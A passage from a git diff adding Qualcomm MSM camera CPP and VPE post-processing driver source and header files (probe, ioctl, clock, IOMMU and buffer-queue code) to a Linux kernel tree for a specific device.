-EINVAL; + } + } + break; + default: + return v4l2_subdev_call(sd, core, ioctl, cmd, arg); + } + + return 0; +} + +static long msm_cpp_subdev_fops_ioctl(struct file *file, unsigned int cmd, + unsigned long arg) +{ + return video_usercopy(file, cmd, arg, msm_cpp_subdev_do_ioctl); +} + +static int cpp_register_domain(void) +{ + struct msm_iova_partition cpp_fw_partition = { + .start = SZ_128K, + .size = SZ_2G - SZ_128K, + }; + struct msm_iova_layout cpp_fw_layout = { + .partitions = &cpp_fw_partition, + .npartitions = 1, + .client_name = "camera_cpp", + .domain_flags = 0, + }; + + return msm_register_domain(&cpp_fw_layout); +} + +static int msm_cpp_get_clk_info(struct cpp_device *cpp_dev, + struct platform_device *pdev) +{ + uint32_t count; + int i, rc; + uint32_t rates[CPP_CLK_INFO_MAX]; + + struct device_node *of_node; + of_node = pdev->dev.of_node; + + count = of_property_count_strings(of_node, "clock-names"); + + CPP_DBG("count = %d\n", count); + if (count == 0) { + pr_err("no clocks found in device tree, count=%d", count); + return 0; + } + + if (count > CPP_CLK_INFO_MAX) { + pr_err("invalid count=%d, max is %d\n", count, + CPP_CLK_INFO_MAX); + return -EINVAL; + } + + for (i = 0; i < count; i++) { + rc = of_property_read_string_index(of_node, "clock-names", + i, &(cpp_clk_info[i].clk_name)); + CPP_DBG("clock-names[%d] = %s\n", i, cpp_clk_info[i].clk_name); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + return rc; + } + } + rc = of_property_read_u32_array(of_node, "qcom,clock-rates", + rates, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + return rc; + } + for (i = 0; i < count; i++) { + cpp_clk_info[i].clk_rate = (rates[i] == 0) ? -1 : rates[i]; + CPP_DBG("clk_rate[%d] = %ld\n", i, cpp_clk_info[i].clk_rate); + } + cpp_dev->num_clk = count; + return 0; +} + + +static int cpp_probe(struct platform_device *pdev) +{ + struct cpp_device *cpp_dev; + int rc = 0; + CPP_DBG("E"); + cpp_dev = kzalloc(sizeof(struct cpp_device), GFP_KERNEL); + if (!cpp_dev) { + pr_err("no enough memory\n"); + return -ENOMEM; + } + + cpp_dev->cpp_clk = kzalloc(sizeof(struct clk *) * + ARRAY_SIZE(cpp_clk_info), GFP_KERNEL); + if (!cpp_dev->cpp_clk) { + pr_err("no enough memory\n"); + rc = -ENOMEM; + goto ERROR1; + } + + v4l2_subdev_init(&cpp_dev->msm_sd.sd, &msm_cpp_subdev_ops); + cpp_dev->msm_sd.sd.internal_ops = &msm_cpp_internal_ops; + snprintf(cpp_dev->msm_sd.sd.name, ARRAY_SIZE(cpp_dev->msm_sd.sd.name), + "cpp"); + cpp_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + cpp_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_EVENTS; + v4l2_set_subdevdata(&cpp_dev->msm_sd.sd, cpp_dev); + platform_set_drvdata(pdev, &cpp_dev->msm_sd.sd); + mutex_init(&cpp_dev->mutex); + spin_lock_init(&cpp_dev->tasklet_lock); + + if (pdev->dev.of_node) + of_property_read_u32((&pdev->dev)->of_node, + "cell-index", &pdev->id); + + cpp_dev->pdev = pdev; + + cpp_dev->mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "cpp"); + if (!cpp_dev->mem) { + pr_err("no mem resource?\n"); + rc = -ENODEV; + goto ERROR2; + } + + cpp_dev->vbif_mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "cpp_vbif"); + if (!cpp_dev->vbif_mem) { + pr_err("no mem resource?\n"); + rc = -ENODEV; + goto ERROR2; + } + + cpp_dev->cpp_hw_mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "cpp_hw"); + if (!cpp_dev->cpp_hw_mem) { + pr_err("no mem resource?\n"); + rc = -ENODEV; + goto ERROR2; + } + + cpp_dev->irq = platform_get_resource_byname(pdev, + IORESOURCE_IRQ, "cpp"); + if (!cpp_dev->irq) { + pr_err("%s: no irq resource?\n", __func__); + rc = -ENODEV; + goto ERROR2; + } + + cpp_dev->io = request_mem_region(cpp_dev->mem->start, + resource_size(cpp_dev->mem), pdev->name); + if (!cpp_dev->io) { + pr_err("%s: no valid mem region\n", __func__); + rc = -EBUSY; + goto ERROR2; + } + + cpp_dev->domain_num = cpp_register_domain(); + if (cpp_dev->domain_num < 0) { + pr_err("%s: could not register domain\n", __func__); + rc = -ENODEV; + goto ERROR3; + } + + cpp_dev->domain = + msm_get_iommu_domain(cpp_dev->domain_num); + if (!cpp_dev->domain) { + pr_err("%s: cannot find domain\n", __func__); + rc = -ENODEV; + goto ERROR3; + } + + cpp_dev->iommu_ctx = msm_iommu_get_ctx("cpp"); + if (IS_ERR(cpp_dev->iommu_ctx)) { + pr_err("%s: cannot get iommu_ctx\n", __func__); + rc = -EPROBE_DEFER; + goto ERROR3; + } + + if (msm_cpp_get_clk_info(cpp_dev, pdev) < 0) { + pr_err("msm_cpp_get_clk_info() failed\n"); + goto ERROR3; + } + + media_entity_init(&cpp_dev->msm_sd.sd.entity, 0, NULL, 0); + cpp_dev->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + cpp_dev->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_CPP; + cpp_dev->msm_sd.sd.entity.name = pdev->name; + cpp_dev->msm_sd.close_seq = MSM_SD_CLOSE_3RD_CATEGORY; + msm_sd_register(&cpp_dev->msm_sd); + msm_cpp_v4l2_subdev_fops.owner = v4l2_subdev_fops.owner; + msm_cpp_v4l2_subdev_fops.open = v4l2_subdev_fops.open; + msm_cpp_v4l2_subdev_fops.unlocked_ioctl = msm_cpp_subdev_fops_ioctl; + msm_cpp_v4l2_subdev_fops.release = v4l2_subdev_fops.release; + msm_cpp_v4l2_subdev_fops.poll = v4l2_subdev_fops.poll; + + cpp_dev->msm_sd.sd.devnode->fops = &msm_cpp_v4l2_subdev_fops; + cpp_dev->msm_sd.sd.entity.revision = cpp_dev->msm_sd.sd.devnode->num; + cpp_dev->state = CPP_STATE_BOOT; + + rc = cpp_init_hardware(cpp_dev); + if (rc < 0) + goto CPP_PROBE_INIT_ERROR; + + msm_camera_io_w(0x0, cpp_dev->base + + MSM_CPP_MICRO_IRQGEN_MASK); + msm_camera_io_w(0xFFFF, cpp_dev->base + + MSM_CPP_MICRO_IRQGEN_CLR); + msm_camera_io_w(0x80000000, cpp_dev->base + 0xF0); + cpp_release_hardware(cpp_dev); + cpp_dev->state = CPP_STATE_OFF; + msm_cpp_enable_debugfs(cpp_dev); + + msm_queue_init(&cpp_dev->eventData_q, "eventdata"); + msm_queue_init(&cpp_dev->processing_q, "frame"); + INIT_LIST_HEAD(&cpp_dev->tasklet_q); + tasklet_init(&cpp_dev->cpp_tasklet, msm_cpp_do_tasklet, + (unsigned long)cpp_dev); + cpp_dev->timer_wq = create_workqueue("msm_cpp_workqueue"); + cpp_dev->work = kmalloc(sizeof(struct msm_cpp_work_t), + GFP_KERNEL); + + if (!cpp_dev->work) { + pr_err("no enough memory\n"); + rc = -ENOMEM; + goto CPP_PROBE_INIT_ERROR; + } + + INIT_WORK((struct work_struct *)cpp_dev->work, msm_cpp_do_timeout_work); + cpp_dev->cpp_open_cnt = 0; + cpp_dev->is_firmware_loaded = 0; + cpp_dev->iommu_state = CPP_IOMMU_STATE_DETACHED; + cpp_timer.data.cpp_dev = cpp_dev; + atomic_set(&cpp_timer.used, 0); + cpp_dev->fw_name_bin = NULL; + if (rc == 0) + CPP_DBG("SUCCESS."); + else + CPP_DBG("FAILED."); + return rc; +CPP_PROBE_INIT_ERROR: + media_entity_cleanup(&cpp_dev->msm_sd.sd.entity); + msm_sd_unregister(&cpp_dev->msm_sd); +ERROR3: + release_mem_region(cpp_dev->mem->start, resource_size(cpp_dev->mem)); +ERROR2: + kfree(cpp_dev->cpp_clk); +ERROR1: + kfree(cpp_dev); + return rc; +} + +static const struct of_device_id msm_cpp_dt_match[] = { + {.compatible = "qcom,cpp"}, + {} +}; + +static int cpp_device_remove(struct platform_device *dev) +{ + struct v4l2_subdev *sd = platform_get_drvdata(dev); + struct cpp_device *cpp_dev; + if (!sd) { + pr_err("%s: Subdevice is NULL\n", __func__); + return 0; + } + + cpp_dev = (struct cpp_device *)v4l2_get_subdevdata(sd); + if (!cpp_dev) { + pr_err("%s: cpp device is NULL\n", __func__); + return 0; + } + + msm_sd_unregister(&cpp_dev->msm_sd); + release_mem_region(cpp_dev->mem->start, resource_size(cpp_dev->mem)); + release_mem_region(cpp_dev->vbif_mem->start, + resource_size(cpp_dev->vbif_mem)); + release_mem_region(cpp_dev->cpp_hw_mem->start, + resource_size(cpp_dev->cpp_hw_mem)); + mutex_destroy(&cpp_dev->mutex); + kfree(cpp_dev->work); + destroy_workqueue(cpp_dev->timer_wq); + kfree(cpp_dev->cpp_clk); + kfree(cpp_dev); + return 0; +} + +static struct platform_driver cpp_driver = { + .probe = cpp_probe, + .remove = cpp_device_remove, + .driver = { + .name = MSM_CPP_DRV_NAME, + .owner = THIS_MODULE, + .of_match_table = msm_cpp_dt_match, + }, +}; + +static int __init msm_cpp_init_module(void) +{ + return platform_driver_register(&cpp_driver); +} + +static void __exit msm_cpp_exit_module(void) +{ + platform_driver_unregister(&cpp_driver); +} + +static int msm_cpp_debugfs_error_s(void *data, u64 val) +{ + pr_err("setting error inducement"); + induce_error = val; + return 0; +} + +DEFINE_SIMPLE_ATTRIBUTE(cpp_debugfs_error, NULL, + msm_cpp_debugfs_error_s, "%llu\n"); + +static int msm_cpp_enable_debugfs(struct cpp_device *cpp_dev) +{ + struct dentry *debugfs_base; + debugfs_base = debugfs_create_dir("msm_cpp", NULL); + if (!debugfs_base) + return -ENOMEM; + + if (!debugfs_create_file("error", S_IRUGO | S_IWUSR, debugfs_base, + (void *)cpp_dev, &cpp_debugfs_error)) + return -ENOMEM; + + return 0; +} + +module_init(msm_cpp_init_module); +module_exit(msm_cpp_exit_module); +MODULE_DESCRIPTION("MSM CPP driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h new file mode 100644 index 0000000000000..3085528400604 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h @@ -0,0 +1,234 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_CPP_H__ +#define __MSM_CPP_H__ + +#include +#include +#include +#include +#include +#include +#include "msm_sd.h" + +/* hw version info: + 31:28 Major version + 27:16 Minor version + 15:0 Revision bits +**/ +#define CPP_HW_VERSION_1_1_0 0x10010000 +#define CPP_HW_VERSION_1_1_1 0x10010001 +#define CPP_HW_VERSION_2_0_0 0x20000000 +#define CPP_HW_VERSION_4_0_0 0x40000000 +#define CPP_HW_VERSION_4_1_0 0x40010000 + +#define MAX_ACTIVE_CPP_INSTANCE 8 +#define MAX_CPP_PROCESSING_FRAME 2 +#define MAX_CPP_V4l2_EVENTS 30 + +#define MSM_CPP_MICRO_BASE 0x4000 +#define MSM_CPP_MICRO_HW_VERSION 0x0000 +#define MSM_CPP_MICRO_IRQGEN_STAT 0x0004 +#define MSM_CPP_MICRO_IRQGEN_CLR 0x0008 +#define MSM_CPP_MICRO_IRQGEN_MASK 0x000C +#define MSM_CPP_MICRO_FIFO_TX_DATA 0x0010 +#define MSM_CPP_MICRO_FIFO_TX_STAT 0x0014 +#define MSM_CPP_MICRO_FIFO_RX_DATA 0x0018 +#define MSM_CPP_MICRO_FIFO_RX_STAT 0x001C +#define MSM_CPP_MICRO_BOOT_START 0x0020 +#define MSM_CPP_MICRO_BOOT_LDORG 0x0024 +#define MSM_CPP_MICRO_CLKEN_CTL 0x0030 + +#define MSM_CPP_CMD_GET_BOOTLOADER_VER 0x1 +#define MSM_CPP_CMD_FW_LOAD 0x2 +#define MSM_CPP_CMD_EXEC_JUMP 0x3 +#define MSM_CPP_CMD_RESET_HW 0x5 +#define MSM_CPP_CMD_PROCESS_FRAME 0x6 +#define MSM_CPP_CMD_FLUSH_STREAM 0x7 +#define MSM_CPP_CMD_CFG_MEM_PARAM 0x8 +#define MSM_CPP_CMD_ERROR_REQUEST 0x9 +#define MSM_CPP_CMD_GET_STATUS 0xA +#define MSM_CPP_CMD_GET_FW_VER 0xB + +#define MSM_CPP_MSG_ID_CMD 0x3E646D63 +#define MSM_CPP_MSG_ID_OK 0x0A0A4B4F +#define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA + +#define MSM_CPP_MSG_ID_JUMP_ACK 0x00000001 +#define MSM_CPP_MSG_ID_FRAME_ACK 0x00000002 +#define MSM_CPP_MSG_ID_FRAME_NACK 0x00000003 +#define MSM_CPP_MSG_ID_FLUSH_ACK 0x00000004 +#define MSM_CPP_MSG_ID_FLUSH_NACK 0x00000005 +#define MSM_CPP_MSG_ID_CFG_MEM_ACK 0x00000006 +#define MSM_CPP_MSG_ID_CFG_MEM_INV 0x00000007 +#define MSM_CPP_MSG_ID_ERROR_STATUS 0x00000008 +#define MSM_CPP_MSG_ID_INVALID_CMD 0x00000009 +#define MSM_CPP_MSG_ID_GEN_STATUS 0x0000000A +#define MSM_CPP_MSG_ID_FLUSHED 0x0000000B +#define MSM_CPP_MSG_ID_FW_VER 0x0000000C + +#define MSM_CPP_JUMP_ADDRESS 0x20 +#define MSM_CPP_START_ADDRESS 0x0 +#define MSM_CPP_END_ADDRESS 0x3F00 + +#define MSM_CPP_POLL_RETRIES 20 +#define MSM_CPP_TASKLETQ_SIZE 16 +#define MSM_CPP_TX_FIFO_LEVEL 16 +#define MSM_CPP_RX_FIFO_LEVEL 512 + +struct cpp_subscribe_info { + struct v4l2_fh *vfh; + uint32_t active; +}; + +enum cpp_state { + CPP_STATE_BOOT, + CPP_STATE_IDLE, + CPP_STATE_ACTIVE, + CPP_STATE_OFF, +}; + +enum cpp_iommu_state { + CPP_IOMMU_STATE_DETACHED, + CPP_IOMMU_STATE_ATTACHED, +}; + +enum msm_queue { + MSM_CAM_Q_CTRL, /* control command or control command status */ + MSM_CAM_Q_VFE_EVT, /* adsp event */ + MSM_CAM_Q_VFE_MSG, /* adsp message */ + MSM_CAM_Q_V4L2_REQ, /* v4l2 request */ + MSM_CAM_Q_VPE_MSG, /* vpe message */ + MSM_CAM_Q_PP_MSG, /* pp message */ +}; + +struct msm_queue_cmd { + struct list_head list_config; + struct list_head list_control; + struct list_head list_frame; + struct list_head list_pict; + struct list_head list_vpe_frame; + struct list_head list_eventdata; + enum msm_queue type; + void *command; + atomic_t on_heap; + struct timespec ts; + uint32_t error_code; + uint32_t trans_code; +}; + +struct msm_device_queue { + struct list_head list; + spinlock_t lock; + wait_queue_head_t wait; + int max; + int len; + const char *name; +}; + +struct msm_cpp_tasklet_queue_cmd { + struct list_head list; + uint32_t irq_status; + uint32_t tx_fifo[MSM_CPP_TX_FIFO_LEVEL]; + uint32_t tx_level; + uint8_t cmd_used; +}; + +struct msm_cpp_buffer_map_info_t { + unsigned long len; + dma_addr_t phy_addr; + struct ion_handle *ion_handle; + struct msm_cpp_buffer_info_t buff_info; +}; + +struct msm_cpp_buffer_map_list_t { + struct msm_cpp_buffer_map_info_t map_info; + struct list_head entry; +}; + +struct msm_cpp_buff_queue_info_t { + uint32_t used; + uint16_t session_id; + uint16_t stream_id; + struct list_head vb2_buff_head; + struct list_head native_buff_head; +}; + +struct msm_cpp_work_t { + struct work_struct my_work; + struct cpp_device *cpp_dev; +}; +struct msm_cpp_clock_settings_t { + long clock_rate; + uint64_t avg; + uint64_t inst; +}; + +struct cpp_device { + struct platform_device *pdev; + struct msm_sd_subdev msm_sd; + struct v4l2_subdev subdev; + struct resource *mem; + struct resource *irq; + struct resource *io; + struct resource *vbif_mem; + struct resource *vbif_io; + struct resource *cpp_hw_mem; + void __iomem *vbif_base; + void __iomem *base; + void __iomem *cpp_hw_base; + struct clk **cpp_clk; + struct regulator *fs_cpp; + struct mutex mutex; + enum cpp_state state; + enum cpp_iommu_state iommu_state; + uint8_t is_firmware_loaded; + char *fw_name_bin; + struct workqueue_struct *timer_wq; + struct msm_cpp_work_t *work; + uint32_t fw_version; + uint8_t stream_cnt; + uint8_t timeout_trial_cnt; + + int domain_num; + struct iommu_domain *domain; + struct device *iommu_ctx; + struct ion_client *client; + struct kref refcount; + uint32_t num_clk; + + /* Reusing proven tasklet from msm isp */ + atomic_t irq_cnt; + uint8_t taskletq_idx; + spinlock_t tasklet_lock; + struct list_head tasklet_q; + struct tasklet_struct cpp_tasklet; + struct msm_cpp_tasklet_queue_cmd + tasklet_queue_cmd[MSM_CPP_TASKLETQ_SIZE]; + + struct cpp_subscribe_info cpp_subscribe_list[MAX_ACTIVE_CPP_INSTANCE]; + uint32_t cpp_open_cnt; + struct cpp_hw_info hw_info; + + struct msm_device_queue eventData_q; /* V4L2 Event Payload Queue */ + + /* Processing Queue + * store frame info for frames sent to microcontroller + */ + struct msm_device_queue processing_q; + + struct msm_cpp_buff_queue_info_t *buff_queue; + uint32_t num_buffq; + struct v4l2_subdev *buf_mgr_subdev; +}; +#endif /* __MSM_CPP_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile new file mode 100644 index 0000000000000..65a7e34469dcb --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile @@ -0,0 +1,3 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +obj-$(CONFIG_MSMB_CAMERA) += msm_vpe.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c new file mode 100644 index 0000000000000..dd0e8afeb42b5 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c @@ -0,0 +1,1655 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#define pr_fmt(fmt) "MSM-VPE %s:%d " fmt, __func__, __LINE__ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "msm_vpe.h" +#include "msm_camera_io_util.h" + +#define MSM_VPE_IDENT_TO_SESSION_ID(identity) ((identity >> 16) & 0xFFFF) +#define MSM_VPE_IDENT_TO_STREAM_ID(identity) (identity & 0xFFFF) + +#define MSM_VPE_DRV_NAME "msm_vpe" + +#define MSM_VPE_MAX_BUFF_QUEUE 16 + +#define CONFIG_MSM_VPE_DBG 0 + +#if CONFIG_MSM_VPE_DBG +#define VPE_DBG(fmt, args...) pr_err(fmt, ##args) +#else +#define VPE_DBG(fmt, args...) pr_debug(fmt, ##args) +#endif + +static void vpe_mem_dump(const char * const name, const void * const addr, + int size) +{ + char line_str[128], *p_str; + int i; + u32 *p = (u32 *) addr; + u32 data; + VPE_DBG("%s: (%s) %p %d\n", __func__, name, addr, size); + line_str[0] = '\0'; + p_str = line_str; + for (i = 0; i < size/4; i++) { + if (i % 4 == 0) { + snprintf(p_str, 12, "%08x: ", (u32) p); + p_str += 10; + } + data = *p++; + snprintf(p_str, 12, "%08x ", data); + p_str += 9; + if ((i + 1) % 4 == 0) { + VPE_DBG("%s\n", line_str); + line_str[0] = '\0'; + p_str = line_str; + } + } + if (line_str[0] != '\0') + VPE_DBG("%s\n", line_str); +} + +static inline long long vpe_do_div(long long num, long long den) +{ + do_div(num, den); + return num; +} + +#define msm_dequeue(queue, member) ({ \ + unsigned long flags; \ + struct msm_device_queue *__q = (queue); \ + struct msm_queue_cmd *qcmd = 0; \ + spin_lock_irqsave(&__q->lock, flags); \ + if (!list_empty(&__q->list)) { \ + __q->len--; \ + qcmd = list_first_entry(&__q->list, \ + struct msm_queue_cmd, \ + member); \ + list_del_init(&qcmd->member); \ + } \ + spin_unlock_irqrestore(&__q->lock, flags); \ + qcmd; \ + }) + +static void msm_queue_init(struct msm_device_queue *queue, const char *name) +{ + spin_lock_init(&queue->lock); + queue->len = 0; + queue->max = 0; + queue->name = name; + INIT_LIST_HEAD(&queue->list); + init_waitqueue_head(&queue->wait); +} + +static struct msm_cam_clk_info vpe_clk_info[] = { + {"vpe_clk", 160000000}, + {"vpe_pclk", -1}, +}; + +static int msm_vpe_notify_frame_done(struct vpe_device *vpe_dev); + +static void msm_enqueue(struct msm_device_queue *queue, + struct list_head *entry) +{ + unsigned long flags; + spin_lock_irqsave(&queue->lock, flags); + queue->len++; + if (queue->len > queue->max) { + queue->max = queue->len; + pr_debug("queue %s new max is %d\n", queue->name, queue->max); + } + list_add_tail(entry, &queue->list); + wake_up(&queue->wait); + VPE_DBG("woke up %s\n", queue->name); + spin_unlock_irqrestore(&queue->lock, flags); +} + +static struct msm_vpe_buff_queue_info_t *msm_vpe_get_buff_queue_entry( + struct vpe_device *vpe_dev, uint32_t session_id, uint32_t stream_id) +{ + uint32_t i = 0; + struct msm_vpe_buff_queue_info_t *buff_queue_info = NULL; + + for (i = 0; i < vpe_dev->num_buffq; i++) { + if ((vpe_dev->buff_queue[i].used == 1) && + (vpe_dev->buff_queue[i].session_id == session_id) && + (vpe_dev->buff_queue[i].stream_id == stream_id)) { + buff_queue_info = &vpe_dev->buff_queue[i]; + break; + } + } + + if (buff_queue_info == NULL) { + pr_err("error buffer queue entry for sess:%d strm:%d not found\n", + session_id, stream_id); + } + return buff_queue_info; +} + +static unsigned long msm_vpe_get_phy_addr(struct vpe_device *vpe_dev, + struct msm_vpe_buff_queue_info_t *buff_queue_info, uint32_t buff_index, + uint8_t native_buff) +{ + unsigned long phy_add = 0; + struct list_head *buff_head; + struct msm_vpe_buffer_map_list_t *buff, *save; + + if (native_buff) + buff_head = &buff_queue_info->native_buff_head; + else + buff_head = &buff_queue_info->vb2_buff_head; + + list_for_each_entry_safe(buff, save, buff_head, entry) { + if (buff->map_info.buff_info.index == buff_index) { + phy_add = buff->map_info.phy_addr; + break; + } + } + + return phy_add; +} + +static unsigned long msm_vpe_queue_buffer_info(struct vpe_device *vpe_dev, + struct msm_vpe_buff_queue_info_t *buff_queue, + struct msm_vpe_buffer_info_t *buffer_info) +{ + struct list_head *buff_head; + struct msm_vpe_buffer_map_list_t *buff, *save; + int rc = 0; + + if (buffer_info->native_buff) + buff_head = &buff_queue->native_buff_head; + else + buff_head = &buff_queue->vb2_buff_head; + + list_for_each_entry_safe(buff, save, buff_head, entry) { + if (buff->map_info.buff_info.index == buffer_info->index) { + pr_err("error buffer index already queued\n"); + return -EINVAL; + } + } + + buff = kzalloc( + sizeof(struct msm_vpe_buffer_map_list_t), GFP_KERNEL); + if (!buff) { + pr_err("error allocating memory\n"); + return -EINVAL; + } + + buff->map_info.buff_info = *buffer_info; + buff->map_info.ion_handle = ion_import_dma_buf(vpe_dev->client, + buffer_info->fd); + if (IS_ERR_OR_NULL(buff->map_info.ion_handle)) { + pr_err("ION import failed\n"); + goto queue_buff_error1; + } + + rc = ion_map_iommu(vpe_dev->client, buff->map_info.ion_handle, + vpe_dev->domain_num, 0, SZ_4K, 0, + &buff->map_info.phy_addr, + &buff->map_info.len, 0, 0); + if (rc < 0) { + pr_err("ION mmap failed\n"); + goto queue_buff_error2; + } + + INIT_LIST_HEAD(&buff->entry); + list_add_tail(&buff->entry, buff_head); + + return buff->map_info.phy_addr; + +queue_buff_error2: + ion_unmap_iommu(vpe_dev->client, buff->map_info.ion_handle, + vpe_dev->domain_num, 0); +queue_buff_error1: + ion_free(vpe_dev->client, buff->map_info.ion_handle); + buff->map_info.ion_handle = NULL; + kzfree(buff); + + return 0; +} + +static void msm_vpe_dequeue_buffer_info(struct vpe_device *vpe_dev, + struct msm_vpe_buffer_map_list_t *buff) +{ + ion_unmap_iommu(vpe_dev->client, buff->map_info.ion_handle, + vpe_dev->domain_num, 0); + ion_free(vpe_dev->client, buff->map_info.ion_handle); + buff->map_info.ion_handle = NULL; + + list_del_init(&buff->entry); + kzfree(buff); + + return; +} + +static unsigned long msm_vpe_fetch_buffer_info(struct vpe_device *vpe_dev, + struct msm_vpe_buffer_info_t *buffer_info, uint32_t session_id, + uint32_t stream_id) +{ + unsigned long phy_addr = 0; + struct msm_vpe_buff_queue_info_t *buff_queue_info; + uint8_t native_buff = buffer_info->native_buff; + + buff_queue_info = msm_vpe_get_buff_queue_entry(vpe_dev, session_id, + stream_id); + if (buff_queue_info == NULL) { + pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", + session_id, stream_id); + return phy_addr; + } + + phy_addr = msm_vpe_get_phy_addr(vpe_dev, buff_queue_info, + buffer_info->index, native_buff); + if ((phy_addr == 0) && (native_buff)) { + phy_addr = msm_vpe_queue_buffer_info(vpe_dev, buff_queue_info, + buffer_info); + } + return phy_addr; +} + +static int32_t msm_vpe_enqueue_buff_info_list(struct vpe_device *vpe_dev, + struct msm_vpe_stream_buff_info_t *stream_buff_info) +{ + uint32_t j; + struct msm_vpe_buff_queue_info_t *buff_queue_info; + + buff_queue_info = msm_vpe_get_buff_queue_entry(vpe_dev, + (stream_buff_info->identity >> 16) & 0xFFFF, + stream_buff_info->identity & 0xFFFF); + if (buff_queue_info == NULL) { + pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", + (stream_buff_info->identity >> 16) & 0xFFFF, + stream_buff_info->identity & 0xFFFF); + return -EINVAL; + } + + for (j = 0; j < stream_buff_info->num_buffs; j++) { + msm_vpe_queue_buffer_info(vpe_dev, buff_queue_info, + &stream_buff_info->buffer_info[j]); + } + return 0; +} + +static int32_t msm_vpe_dequeue_buff_info_list(struct vpe_device *vpe_dev, + struct msm_vpe_buff_queue_info_t *buff_queue_info) +{ + struct msm_vpe_buffer_map_list_t *buff, *save; + struct list_head *buff_head; + + buff_head = &buff_queue_info->native_buff_head; + list_for_each_entry_safe(buff, save, buff_head, entry) { + msm_vpe_dequeue_buffer_info(vpe_dev, buff); + } + + buff_head = &buff_queue_info->vb2_buff_head; + list_for_each_entry_safe(buff, save, buff_head, entry) { + msm_vpe_dequeue_buffer_info(vpe_dev, buff); + } + + return 0; +} + +static int32_t msm_vpe_add_buff_queue_entry(struct vpe_device *vpe_dev, + uint16_t session_id, uint16_t stream_id) +{ + uint32_t i; + struct msm_vpe_buff_queue_info_t *buff_queue_info; + + for (i = 0; i < vpe_dev->num_buffq; i++) { + if (vpe_dev->buff_queue[i].used == 0) { + buff_queue_info = &vpe_dev->buff_queue[i]; + buff_queue_info->used = 1; + buff_queue_info->session_id = session_id; + buff_queue_info->stream_id = stream_id; + INIT_LIST_HEAD(&buff_queue_info->vb2_buff_head); + INIT_LIST_HEAD(&buff_queue_info->native_buff_head); + return 0; + } + } + pr_err("buffer queue full. error for sessionid: %d streamid: %d\n", + session_id, stream_id); + return -EINVAL; +} + +static int32_t msm_vpe_free_buff_queue_entry(struct vpe_device *vpe_dev, + uint32_t session_id, uint32_t stream_id) +{ + struct msm_vpe_buff_queue_info_t *buff_queue_info; + + buff_queue_info = msm_vpe_get_buff_queue_entry(vpe_dev, session_id, + stream_id); + if (buff_queue_info == NULL) { + pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", + session_id, stream_id); + return -EINVAL; + } + + buff_queue_info->used = 0; + buff_queue_info->session_id = 0; + buff_queue_info->stream_id = 0; + INIT_LIST_HEAD(&buff_queue_info->vb2_buff_head); + INIT_LIST_HEAD(&buff_queue_info->native_buff_head); + return 0; +} + +static int32_t msm_vpe_create_buff_queue(struct vpe_device *vpe_dev, + uint32_t num_buffq) +{ + struct msm_vpe_buff_queue_info_t *buff_queue; + buff_queue = kzalloc( + sizeof(struct msm_vpe_buff_queue_info_t) * num_buffq, + GFP_KERNEL); + if (!buff_queue) { + pr_err("Buff queue allocation failure\n"); + return -ENOMEM; + } + + if (vpe_dev->buff_queue) { + pr_err("Buff queue not empty\n"); + kzfree(buff_queue); + return -EINVAL; + } else { + vpe_dev->buff_queue = buff_queue; + vpe_dev->num_buffq = num_buffq; + } + return 0; +} + +static void msm_vpe_delete_buff_queue(struct vpe_device *vpe_dev) +{ + uint32_t i; + + for (i = 0; i < vpe_dev->num_buffq; i++) { + if (vpe_dev->buff_queue[i].used == 1) { + pr_err("Queue not free sessionid: %d, streamid: %d\n", + vpe_dev->buff_queue[i].session_id, + vpe_dev->buff_queue[i].stream_id); + msm_vpe_free_buff_queue_entry(vpe_dev, + vpe_dev->buff_queue[i].session_id, + vpe_dev->buff_queue[i].stream_id); + } + } + kzfree(vpe_dev->buff_queue); + vpe_dev->buff_queue = NULL; + vpe_dev->num_buffq = 0; + return; +} + +void vpe_release_ion_client(struct kref *ref) +{ + struct vpe_device *vpe_dev = container_of(ref, + struct vpe_device, refcount); + ion_client_destroy(vpe_dev->client); +} + +static int vpe_init_mem(struct vpe_device *vpe_dev) +{ + kref_init(&vpe_dev->refcount); + kref_get(&vpe_dev->refcount); + 